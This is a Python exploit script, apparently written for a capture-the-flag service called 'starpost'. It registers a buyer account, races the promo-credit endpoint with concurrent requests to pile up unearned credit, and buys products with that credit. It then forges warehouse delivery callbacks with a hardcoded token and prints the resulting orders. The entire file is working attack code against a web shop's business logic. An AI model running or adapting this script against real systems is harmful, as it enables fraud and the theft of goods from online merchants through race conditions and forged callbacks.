183 lines
6.4 KiB
Python
Executable File
183 lines
6.4 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
|
|
from __future__ import annotations
|
|
|
|
import concurrent.futures
|
|
import json
|
|
import math
|
|
import secrets
|
|
import sys
|
|
from http.cookies import SimpleCookie
|
|
from urllib.error import HTTPError, URLError
|
|
from urllib.parse import urlsplit, urlunsplit
|
|
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
|
|
|
TARGET_SCHEME = "http"
|
|
SERVICE_PORT = 8090
|
|
REQUEST_TIMEOUT = 2.0
|
|
MAX_RESPONSE = 128 * 1024
|
|
MAX_PRODUCTS = 8
|
|
MAX_CREDITS = 100
|
|
MAX_WORKERS = 8
|
|
CALLBACK_TOKEN = "starpost-warehouse-callback-token"
|
|
|
|
|
|
class NoRedirects(HTTPRedirectHandler):
|
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
|
return None
|
|
|
|
|
|
def build_base_url(target: str) -> str:
|
|
raw = target.strip()
|
|
if not raw:
|
|
raise ValueError("empty target")
|
|
if "://" not in raw:
|
|
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
|
raw = f"{TARGET_SCHEME}://{authority}"
|
|
parsed = urlsplit(raw)
|
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
|
raise ValueError("expected an HTTP target")
|
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
|
raise ValueError("target must not include credentials or a path")
|
|
if parsed.query or parsed.fragment:
|
|
raise ValueError("target must not include query or fragment")
|
|
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
|
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
|
|
|
|
|
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None, warehouse=False):
|
|
body = json.dumps(payload).encode() if payload is not None else None
|
|
headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"}
|
|
if body is not None:
|
|
headers["Content-Type"] = "application/json"
|
|
if cookie:
|
|
headers["Cookie"] = f"session={cookie}"
|
|
if warehouse:
|
|
headers["X-Warehouse-Token"] = CALLBACK_TOKEN
|
|
req = Request(base + path, data=body, headers=headers, method=method)
|
|
opener = build_opener(NoRedirects())
|
|
try:
|
|
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
|
|
data = response.read(MAX_RESPONSE + 1)
|
|
if len(data) > MAX_RESPONSE:
|
|
raise ValueError("response too large")
|
|
return response.status, data, response.headers
|
|
except HTTPError as exc:
|
|
return exc.code, exc.read(MAX_RESPONSE), exc.headers
|
|
|
|
|
|
def register_buyer(base: str) -> str:
|
|
marker = secrets.token_hex(8)
|
|
status, _, headers = request(
|
|
base,
|
|
"/api/register",
|
|
method="POST",
|
|
payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
|
)
|
|
if status != 201:
|
|
raise ValueError(f"registration returned HTTP {status}")
|
|
jar = SimpleCookie()
|
|
jar.load(headers.get("Set-Cookie", ""))
|
|
if "session" not in jar:
|
|
raise ValueError("registration did not issue a session cookie")
|
|
return jar["session"].value
|
|
|
|
|
|
def credit(base: str, cookie: str, code: str) -> bool:
|
|
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie)
|
|
return status == 200
|
|
|
|
|
|
def buy(base: str, cookie: str, product_id: int):
|
|
status, raw, _ = request(base, f"/api/products/{product_id}/buy", method="POST", payload={}, cookie=cookie)
|
|
if status != 201:
|
|
return None
|
|
data = json.loads(raw)
|
|
return int(data["id"])
|
|
|
|
|
|
def deliver(base: str, order_id: int) -> bool:
|
|
status, _, _ = request(
|
|
base,
|
|
"/api/warehouse/callback",
|
|
method="POST",
|
|
payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"},
|
|
warehouse=True,
|
|
)
|
|
return status == 200
|
|
|
|
|
|
def run_exploit(target: str) -> str:
|
|
base = build_base_url(target)
|
|
cookie = register_buyer(base)
|
|
status, raw, _ = request(base, "/api/account", cookie=cookie)
|
|
if status != 200:
|
|
raise ValueError(f"account endpoint returned HTTP {status}")
|
|
account = json.loads(raw)
|
|
promo = account.get("promo") if isinstance(account, dict) else None
|
|
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
|
raise ValueError("promo code missing")
|
|
|
|
status, raw, _ = request(base, "/api/products")
|
|
if status != 200:
|
|
raise ValueError(f"products endpoint returned HTTP {status}")
|
|
products = json.loads(raw)
|
|
selected = []
|
|
total = 0
|
|
budget = 100 + MAX_CREDITS * 100
|
|
for product in products if isinstance(products, list) else []:
|
|
try:
|
|
product_id = int(product["id"])
|
|
price = int(product["price"])
|
|
except (KeyError, TypeError, ValueError):
|
|
continue
|
|
if total + price > budget:
|
|
continue
|
|
selected.append(product_id)
|
|
total += price
|
|
if len(selected) >= MAX_PRODUCTS:
|
|
break
|
|
if not selected:
|
|
return ""
|
|
|
|
required_credits = max(0, math.ceil((total - 100) / 100))
|
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
|
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"]), range(required_credits)))
|
|
if credited != required_credits:
|
|
raise ValueError("promo crediting was incomplete")
|
|
|
|
order_ids = []
|
|
for product_id in selected:
|
|
order_id = buy(base, cookie, product_id)
|
|
if order_id is not None:
|
|
order_ids.append(order_id)
|
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
|
delivered = sum(pool.map(lambda order_id: deliver(base, order_id), order_ids))
|
|
|
|
status, raw, _ = request(base, "/api/orders", cookie=cookie)
|
|
if status != 200:
|
|
raise ValueError(f"orders endpoint returned HTTP {status}")
|
|
print(
|
|
f"credited {credited} times, bought {len(order_ids)} products, delivered {delivered} orders",
|
|
file=sys.stderr,
|
|
)
|
|
return raw.decode("utf-8", errors="replace")
|
|
|
|
|
|
def main() -> int:
|
|
if len(sys.argv) != 2:
|
|
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
|
return 2
|
|
try:
|
|
output = run_exploit(sys.argv[1])
|
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
|
print(f"request failed: {exc}", file=sys.stderr)
|
|
return 1
|
|
print(output, flush=True)
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|